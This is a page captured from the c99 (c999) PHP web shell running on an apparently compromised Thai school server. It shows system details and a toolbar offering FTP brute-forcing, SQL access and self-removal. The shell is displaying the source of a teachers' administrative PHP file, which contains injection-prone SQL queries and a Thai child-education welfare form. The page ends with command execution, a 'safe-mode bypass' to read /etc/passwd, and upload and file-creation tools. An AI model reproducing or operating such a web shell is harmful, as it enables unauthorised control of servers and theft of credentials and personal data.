!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Add7232.php (33.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"; echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../includes/Function.php" ); require_once( "../includes/FunctionDB.php" ); /** Create Database Object */ $dbObj = new DBConn; //=== SESSION $Username = $valid_user; /** Config Table for This Page */ $myTable1 = "personal_tb"; $myTable2 = "formaoffice"; $myTable3 = "project_tb"; $myTable4 = "training_tb"; $myTable5 = "budget_year_tb"; /** Table --> personal_tb */ $query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE Teacher_code='$Teacher_code' "; $result = $dbObj->execQuery($query); $rss = $dbObj->fetchArray($result); $Teacher_code = $rss['Teacher_code']; /** Table --> tech_plan_tb */ $query1 = " SELECT * FROM $myTable2 WHERE codeId='$codeId' "; $result1 = $dbObj->execQuery($query1); $rs1 = $dbObj->fetchArray($result1); /** Table --> techplan_method_tb */ $query2 = " SELECT * FROM $myTable3 WHERE codeId='$codeId' "; $result2 = $dbObj->execQuery($query2); $rs2 = $dbObj->fetchArray($result2); /** Table --> tech_spec_tb */ $query3 = " SELECT * FROM $myTable4 WHERE Training_code='$Training_code' AND Teacher_code='$Teacher_code' "; $result3 = $dbObj->execQuery($query3); $rs3 = $dbObj->fetchArray($result3); $query = " SELECT * FROM $myTable5 "; $result5 = $dbObj->execQuery($query); $rs5 = $dbObj->fetchArray($result5); } # else ?> ข้<?=$_Config_sitename;?>
">หน้าหลักแบบฟอร์มราชการข้อมูลการศึกษาของบุตร บันทึกเบิกเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร
แบบ 7223
ใบเบิกเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร

โปรดทำเครื่องหมาย / ลงในช่อง ƒ พร้อมทั้งกรอกข้อความเท่าที่จำเป็น

     
๑. ข้าพเจ้า ตำแหน่ง " readonly="readonly"/>
  สังกัด "/>
๒. คู่สมรสของข้าพเจ้าชื่อ
  ไม่เป็นข้าราชการประจำหรือลูกจ้างประจำ
  เป็นข้าราชการ  ลูกจ้างประจำ  ตำแหน่ง สังกัด
  เป็นพนักงานหรือลูกจ้างในรัฐวิสาหกิจ / หน่วยงานของทางราชการ ราชการส่วนท้องถิ่น กรุงเทพมหานคร องค์กรอิสระ
  องค์การมหาชน หรือหน่วยงานอื่นใด   ตำแหน่ง สังกัด
๓. ข้าพเจ้าเป็นผู้มีสิทธิและขอใช้สิทธิเนื่องจาก
  เป็นบิดาชอบด้วยกฎหมาย
  เป็นมารดา
๔. ข้าพเจ้าได้จ่ายเงินสำหรับการศึกษาของบุตร  ดังนี้
  (1) เงินบำรุงการศึกษา                (2) เงินค่าเล่าเรียน
  1) บุตรชื่อ เกิดเมื่อ
  เป็นบุตรลำดับที่ (ของบิดา) เป็นบุตรลำดับที่ (ของมารดา)
  (กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่
  ชื่อ เกิดเมื่อ ถึงแก่กรรมเมื่อ
  สถานศึกษา อำเภอ จังหวัด
  ชั้นที่ศึกษา (1)
                                                                     (2)
  -----------------------------------------------------------------------------------------------------------------------
  2) บุตรชื่อ เกิดเมื่อ
  เป็นบุตรลำดับที่ (ของบิดา) เป็นบุตรลำดับที่ (ของมารดา)
  (กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่
  ชื่อ เกิดเมื่อ ถึงแก่กรรมเมื่อ
  สถานศึกษา อำเภอ จังหวัด
  ชั้นที่ศึกษา (1)
                                                                     (2)
  ----------------------------------------------------------------------------------------------------------------------
  3) บุตรชื่อ เกิดเมื่อ
  เป็นบุตรลำดับที่ (ของบิดา) เป็นบุตรลำดับที่ (ของมารดา)
  (กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่
  ชื่อ เกิดเมื่อ ถึงแก่กรรมเมื่อ
  สถานศึกษา อำเภอ จังหวัด
  ชั้นที่ศึกษา (1)
                                                                     (2)
๕. ข้าพเจ้าขอรับเงินสวัสดิการเกี่ยวกับการศึกษาบุตร
        ตามสิทธิ    เฉพาะส่วนที่ยังขาดจากสิทธิ เป็นเงิน บาท    (ก)
  ตัวอักษร ( )
๖. เสนอ " size="50" />   (ข)
  ข้าพเจ้ามีสิทธิได้รับเงินช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร  และข้อความ
        ที่ระบุข้างต้นเป็นความจริง
  บุตรของข้าพเจ้าอยู่ในข่ายได้รับการช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร
  เป็นผู้ใช้สิทธิเบิกเงินช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร  แต่เพียงฝ่ายเดียว
  คู่สมรสของข้าพเจ้าได้รับการช่วยเหลือจากรัฐวิสาหกิจ  หน่วยงานของทางราชการ  ราชการส่วนท้องถิ่น กรุงเทพมหานคร
        องค์กรอิสระ  องค์การมหาชน  หรือหน่วยงานอื่นใด  ต่ำกว่าจำนวนที่ได้รับจากทางราชการ
        จำนวนเงิน บาท
   
  ข้าพเจ้าขอรับรองว่ามีสิทธิเบิกได้ตามกฎหมาย ตามจำนวนที่ขอเบิก
  (ลงชื่อ) ผู้ขอรับเงินสวัสดิการ
  ( )
         วันที่.......เดือน.............. พ.ศ.........
๗. คำอนุมัติ
  อนุมัติให้เบิกได้
  (ลงชื่อ)
  ( )
  ตำแหน่ง
๘. ใบรับเงิน
            ได้รับเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร จำนวนเงิน บาท
  ตัวอักษร ( ) ไว้ถูกต้องแล้ว
  (ลงชื่อ) ผู้รับเงิน
  ( )
  (ลงชื่อ) ผู้จ่ายเงิน
  ( )
  วันที่.........เดือน.............. พ.ศ...........
  คำชี้แจง
  ( ก ) ให้ระบุการมีสิทธิเพียงใด เมื่อเทียบเท่ากับสิทธิที่ได้รับตามพระราชฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร
  ( ข ) ให้เสนอต่อผู้มีอำนาจอนุมัติ
 
    
freeresult($result1); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--